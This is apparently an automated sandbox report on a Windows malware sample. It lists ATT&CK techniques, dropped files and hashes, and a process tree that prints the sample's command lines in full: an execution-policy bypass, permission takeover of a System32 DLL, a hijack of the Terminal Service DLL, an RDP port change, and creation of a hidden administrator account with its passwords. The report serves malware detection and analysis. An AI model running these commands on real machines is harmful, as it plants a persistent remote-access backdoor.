cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36

Analysis

max time kernel
147s
max time network
129s
platform
windows7_x64
resource
win7v20201028
submitted
11-11-2020 10:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe
Size

3.1MB
MD5

63a4fa287d067ff9083c6d2bf5735016
SHA1

0e1ca1394559574751ba43f377aeea877ae4705c
SHA256

cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36
SHA512

424e2a60e704b983a4bef4a5c275c1133bbc2fd0b8d1b1b971dd79b74083878a6a8319816fc94d00f2c46e3abbaf7e4a4dd0e7599f6bdd80322f3d8a1f8a2121

Score

9^/10

discovery exploit persistence upx

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

776 takeown.exe
1000 icacls.exe
1764 icacls.exe
1068 icacls.exe
684 icacls.exe
1660 icacls.exe
1716 icacls.exe
744 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
776	takeown.exe
1000	icacls.exe
1764	icacls.exe
1068	icacls.exe
684	icacls.exe
1660	icacls.exe
1716	icacls.exe
744	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Loads dropped DLL 2 IoCs

Processes:

pid process

1256
1256
Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid process

1000 icacls.exe
1764 icacls.exe
1068 icacls.exe
684 icacls.exe
1660 icacls.exe
1716 icacls.exe
744 icacls.exe
776 takeown.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
1256
1256

pid	process
1000	icacls.exe
1764	icacls.exe
1068	icacls.exe
684	icacls.exe
1660	icacls.exe
1716	icacls.exe
744	icacls.exe
776	takeown.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Modifies service 2 TTPs 2 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\parameters	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Drops file in Windows directory 8 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1736 reg.exe
Runs net.exe

pid	process
1736	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
756	powershell.exe
756	powershell.exe
820	powershell.exe
820	powershell.exe
1352	powershell.exe
1352	powershell.exe
964	powershell.exe
964	powershell.exe
756	powershell.exe
756	powershell.exe
756	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

460
1256
1256
1256
1256

pid	process
460
1256
1256
1256
1256

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exe

description	pid	process
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeRestorePrivilege	1764	icacls.exe

Suspicious use of WriteProcessMemory 130 IoCs

Processes:

cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exepowershell.execsc.exenet.execmd.exe

description	pid	process	target process
PID 1320 wrote to memory of 756	1320	cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe	powershell.exe
PID 1320 wrote to memory of 756	1320	cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe	powershell.exe
PID 1320 wrote to memory of 756	1320	cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe	powershell.exe
PID 1320 wrote to memory of 756	1320	cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe	powershell.exe
PID 756 wrote to memory of 1292	756	powershell.exe	csc.exe
PID 756 wrote to memory of 1292	756	powershell.exe	csc.exe
PID 756 wrote to memory of 1292	756	powershell.exe	csc.exe
PID 1292 wrote to memory of 1612	1292	csc.exe	cvtres.exe
PID 1292 wrote to memory of 1612	1292	csc.exe	cvtres.exe
PID 1292 wrote to memory of 1612	1292	csc.exe	cvtres.exe
PID 756 wrote to memory of 820	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 820	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 820	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 1352	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 1352	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 1352	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 964	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 964	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 964	756	powershell.exe	powershell.exe
PID 756 wrote to memory of 776	756	powershell.exe	takeown.exe
PID 756 wrote to memory of 776	756	powershell.exe	takeown.exe
PID 756 wrote to memory of 776	756	powershell.exe	takeown.exe
PID 756 wrote to memory of 1000	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1000	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1000	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1764	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1764	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1764	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1068	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1068	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1068	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 684	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 684	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 684	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1660	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1660	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1660	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1716	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1716	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 1716	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 744	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 744	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 744	756	powershell.exe	icacls.exe
PID 756 wrote to memory of 364	756	powershell.exe	reg.exe
PID 756 wrote to memory of 364	756	powershell.exe	reg.exe
PID 756 wrote to memory of 364	756	powershell.exe	reg.exe
PID 756 wrote to memory of 1736	756	powershell.exe	reg.exe
PID 756 wrote to memory of 1736	756	powershell.exe	reg.exe
PID 756 wrote to memory of 1736	756	powershell.exe	reg.exe
PID 756 wrote to memory of 728	756	powershell.exe	reg.exe
PID 756 wrote to memory of 728	756	powershell.exe	reg.exe
PID 756 wrote to memory of 728	756	powershell.exe	reg.exe
PID 756 wrote to memory of 896	756	powershell.exe	net.exe
PID 756 wrote to memory of 896	756	powershell.exe	net.exe
PID 756 wrote to memory of 896	756	powershell.exe	net.exe
PID 896 wrote to memory of 520	896	net.exe	net1.exe
PID 896 wrote to memory of 520	896	net.exe	net1.exe
PID 896 wrote to memory of 520	896	net.exe	net1.exe
PID 756 wrote to memory of 1060	756	powershell.exe	cmd.exe
PID 756 wrote to memory of 1060	756	powershell.exe	cmd.exe
PID 756 wrote to memory of 1060	756	powershell.exe	cmd.exe
PID 1060 wrote to memory of 1108	1060	cmd.exe	cmd.exe
PID 1060 wrote to memory of 1108	1060	cmd.exe	cmd.exe
PID 1060 wrote to memory of 1108	1060	cmd.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe
"C:\Users\Admin\AppData\Local\Temp\cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1320

\??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
-ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y5gcas42\y5gcas42.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1D9.tmp" "c:\Users\Admin\AppData\Local\Temp\y5gcas42\CSCFED9B878BC254945A0E6116796FD6B3.TMP"
4⤵
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:776

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1000

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1068

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:684

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1660

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1716

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:744

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:364

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Modifies service
- Modifies registry key
PID:1736

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:728

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:520

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
4⤵
PID:1108

C:\Windows\system32\net.exe
net start rdpdr
5⤵
PID:1588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:1952

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
PID:1680

C:\Windows\system32\cmd.exe
cmd /c net start TermService
4⤵
PID:1612

C:\Windows\system32\net.exe
net start TermService
5⤵
PID:1784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:936

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:728

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:416

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1548

C:\Windows\system32\net.exe
net.exe user wgautilacc Ghar4f5 /del
2⤵
PID:548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
3⤵
PID:1312

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc JprwSxae /add
1⤵
PID:1140

C:\Windows\system32\net.exe
net.exe user wgautilacc JprwSxae /add
2⤵
PID:1964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc JprwSxae /add
3⤵
PID:1380

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1712

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
2⤵
PID:364

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
3⤵
PID:1736

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
1⤵
PID:324

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
2⤵
PID:1608

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TUICJFPF$ /ADD
3⤵
PID:1592

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1580

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" wgautilacc /ADD
2⤵
PID:1560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
3⤵
PID:916

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc JprwSxae
1⤵
PID:240

C:\Windows\system32\net.exe
net.exe user wgautilacc JprwSxae
2⤵
PID:1068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc JprwSxae
3⤵
PID:1716

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:520

C:\Windows\system32\net.exe
net user wgautilacc 1234
2⤵
PID:316

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 1234
3⤵
PID:896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4ced5d0a-d30b-4fd2-9597-f6115d2711f3
MD5
6f0d509e28be1af95ba237d4f43adab4

SHA1
c665febe79e435843553bee86a6cea731ce6c5e4

SHA256
f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

SHA512
8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4e3e42db-af9f-40fb-ba31-db3021fb8e00
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_97ed8c6f-e74e-4d29-b729-081224930145
MD5
faa37917b36371249ac9fcf93317bf97

SHA1
a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

SHA256
b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

SHA512
614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_989431a9-c82b-4cb2-80fc-ada80abd695e
MD5
e5b3ba61c3cf07deda462c9b27eb4166

SHA1
b324dad73048be6e27467315f82b7a5c1438a1f9

SHA256
b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

SHA512
a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9b125d32-fbc3-492d-a648-68ce47df226b
MD5
faa37917b36371249ac9fcf93317bf97

SHA1
a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

SHA256
b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

SHA512
614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b4979a43-8303-4f2e-9cb5-8b77675e85fd
MD5
2d5cd190b5db0620cd62e3cd6ba1dcd3

SHA1
ff4f229f4fbacccdf11d98c04ba756bda80aac7a

SHA256
ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

SHA512
edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c29c8559-ff73-4a7f-ba8e-e2e808d6489d
MD5
d89968acfbd0cd60b51df04860d99896

SHA1
b3c29916ccb81ce98f95bbf3aa8a73de16298b29

SHA256
1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

SHA512
b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd5a72-5017-48cb-9ba2-b7e543b109a1
MD5
7f79b990cb5ed648f9e583fe35527aa7

SHA1
71b177b48c8bd745ef02c2affad79ca222da7c33

SHA256
080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

SHA512
20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
8b71ad7f323617118637d49ecb738fc1

SHA1
8b45b843f657c41b13e11e0ebf94cbe5c1c145d3

SHA256
6624dec5b4f3d47e2c2c1cf39bee73b8fc564da3bda090b8eb070d78317cc7b2

SHA512
efc10eb9ad1cc81cd9aee90f699282da0fa0423d222b121378e98ce091a34610eeba0c2c168a9bde4f6f6742d85222622b0b624cb85f5a22deb874a83935539e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
1895fb810b2169e710e9e90c38e1b441

SHA1
716c6559a189f67025e5b2fc396606ee361e4e28

SHA256
2690bb8c3e2decdccc764e7967e9dc51818fd41a3ee97a0350de8a7f41494bda

SHA512
8ca096468ab69a20240e298df7cd391ec33f8a5c8e18057b2bd66b68c14e93cb1d85f05d2887179b421a10a258017f1d2f2cd56c2da2e13047e992a5e63f2235

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
61a23cde756a085947ba393226d26a05

SHA1
bead96ef230997f83ba3bfe5a859886400f04af4

SHA256
1703da9af7eef145575ddb1889de90df01267a3ecb1b547519d604fa069b8740

SHA512
752df08e30bafaa2ca1ec654b35b1bf70745ce2cfccf0162c201a779f5c0de7538a75e44ae59211d4544bdd43f52dbf0f1e90c0d89fecbd5be7f027458365479

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
969fb6da9db0c4400b5296da5d41b334

SHA1
f93d2075ebf7d6b83a18ceb245f358e2e397543c

SHA256
0d81eb922fe05b515c3c1ce609b2202ec400ddc2c0214f1f01dac920eb67f261

SHA512
6fc7f2874f345acd943b09b3e4492fd3b49c18ded5195bf87b0914d6e6ebd87e6afa5fdb9dfc8b895230c041cf5b2075a92265d66d2504bc84ba3464bdee8ed8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
4401259721e4939fcf821a0b697115ba

SHA1
b7b7a18a94e7c3983ef70b32f89059c02730dd81

SHA256
5631c1a5f9d810f3836b2a1a67fdc9b49754f84a41aaf6d4323ba9bee06e1b65

SHA512
7b2802e846d8214292e65136359485e594578c62ea8e3293c8e53334b13f6f677ebc0d4b3d2bbc22e32a292a603d133ce6bdc8660f3ab19830d0f79a501d6a7a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
2ecf20b6272f08501d6822318f81f1c4

SHA1
cea9160eff6edbd4334e0f4b938eb58be3d1313b

SHA256
be0ae3e933b4d7daef82dc78d9b21f07d216e429a626b2802adcb6b97d8f02d8

SHA512
f489cbdb0db0ec88cf5a738a304623b4c902ac45f29314a3f00a4691c112f70df78849a600e3832c8ad42c6760579ac00b472c60d700fd66b49b20c499b69442

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC1D9.tmp
MD5
735ad9eebb91591a49a9e11f8cd007d9

SHA1
eeea5497686cf01d8db660c5035a53ef07b80694

SHA256
1145b299a5d2b86d8c62ef4dcfad41943352671f72f4e044e02f452b6d8ee1e4

SHA512
84b7dbcad92621c647df8bbff016a89e1e7a3982a63a6a98fb5329ee7347f84a81984f44f0e2c99a7aa012c2ffcef84805960607a1ce613e2d32210817e3a008

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1
MD5
41d1a9d1cbee90f1e5f27fdfb299f8b8

SHA1
1e9ac27006a7c364649265246fccbd719418ceab

SHA256
0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

SHA512
f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

Download Submit
C:\Users\Admin\AppData\Local\Temp\y5gcas42\y5gcas42.dll
MD5
b99cd21e0aeb9053229a3cd11188343b

SHA1
a8f02649118fe224b004e10dbde698bf920eba7d

SHA256
114bc4597713af34c16c8cd6f8d22eb4437169bf554c054ecc03b9488b85aca2

SHA512
93c87fc2cf6dfee485ebf38f862000fc1c5e0ff8f109cf44740c1095a778acfa5cbab6fa0e2db0db0d02cc97550ccf1215c8cd167f51ef7ac71d15ab9d01cd74

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
347682ad66bd63846510313b4c9bf9d7

SHA1
724b37790a839b9dce89ad98dfebaf806c7b5203

SHA256
0fcfb33de0be031b11b4e06602d4ebe2d386f67edb9587adf9eaf036c7fd32ee

SHA512
536581eef44430b1703249b0897a6bfd659bbc4127230707735fed358988f84911dd2a7cfbcd411d20882ee03b873dc1d02d0bfbdad2ce293fbcd2d15c2147a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
347682ad66bd63846510313b4c9bf9d7

SHA1
724b37790a839b9dce89ad98dfebaf806c7b5203

SHA256
0fcfb33de0be031b11b4e06602d4ebe2d386f67edb9587adf9eaf036c7fd32ee

SHA512
536581eef44430b1703249b0897a6bfd659bbc4127230707735fed358988f84911dd2a7cfbcd411d20882ee03b873dc1d02d0bfbdad2ce293fbcd2d15c2147a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
347682ad66bd63846510313b4c9bf9d7

SHA1
724b37790a839b9dce89ad98dfebaf806c7b5203

SHA256
0fcfb33de0be031b11b4e06602d4ebe2d386f67edb9587adf9eaf036c7fd32ee

SHA512
536581eef44430b1703249b0897a6bfd659bbc4127230707735fed358988f84911dd2a7cfbcd411d20882ee03b873dc1d02d0bfbdad2ce293fbcd2d15c2147a6

Download Submit
C:\Windows\system32\rfxvmt.dll
MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
